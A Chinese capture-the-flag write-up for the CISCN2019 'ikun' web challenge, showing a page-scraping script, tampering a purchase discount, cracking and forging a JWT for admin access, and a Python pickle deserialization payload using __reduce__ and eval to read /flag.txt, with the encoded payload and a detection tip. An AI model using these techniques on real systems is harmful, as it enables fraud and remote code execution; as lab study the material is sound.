侧边栏

[CISCN2019 华北赛区 Day1 Web2]ikun

首先看到

想到去找lv6,一页一页翻太离谱,想到写个脚本

import requests
import time

url = "http://7077f8c9-2f48-4b21-9d31-61cfc868d4a2.node3.buuoj.cn/shop?page="
for i in range(0,10000):
    nurl = url + str(i)
    print(nurl)
    #time.sleep(0.5)
    res = requests.get(nurl)
    if "lv6.png" in res.text:
        print(i)
        break

在181页找到了lv6,注册并购买,很明显钱不够,试试抓包修改金额,不,改折扣

discount改成0.0000001

发现一个新url,/b1g_m4mber,上面显示该页面只能由admin访问

发现一个叫JWT的,是JSON Web Token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q

先进行一次base64解码

{"alg":"HS256","typ":"JWT"}{"username":"1"}"`ΐ@0ڣ-~̅ha賽Ю

把username改成admin试试(我的登录名是1),因为后面有一个sha256,所以需要破解工具c-jwt-cracker

密码1Kun

去这里生成JWT,https://jwt.io/

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

回到Burp里,生成,有反应了,让我一键成为大会员,点完没反应

不急,看看F12,发现源码的下载地址,/static/asd1f654e683wq/www.zip

进行代码审计

在settings.py里有一个hint

\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc

进行unicoed解码https://tool.chinaz.com/tools/unicode.aspx,提示说这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

在Admin.py中可以找到pickle.loads()函数

	@tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

涉及:pickle反序列化

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式

pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

检测方法:

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

构造payload,需要用到pickle里的函数

Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

        函数的功能:将obj对象序列化存入已经打开的file中。

       参数讲解:

    obj:想要序列化的obj对象。
    file:文件名称。
    protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

        函数的功能:将file中的对象序列化读出。

        参数讲解:

    file:文件名称。

(3)pickle.dumps(obj[, protocol])

       函数的功能:将obj对象序列化为string形式,而不是存入文件中。

       参数讲解:

    obj:想要序列化的obj对象。
    protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

       函数的功能:从string中读出序列化前的obj对象。

       参数讲解:

    string:文件名称。

     【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。

思路是我们构建一个类,类里面的__reduce__魔术方法会在该类被反序列化的时候会被调用,而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码.

最终:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

点击一键成为大会员,讲结果插入到become里!

得到flag!

参考:

https://www.cnblogs.com/Cl0ud/p/12177062.html

posted @ 2021-06-23 20:39  探针一号  阅读(329)  评论(0编辑  收藏  举报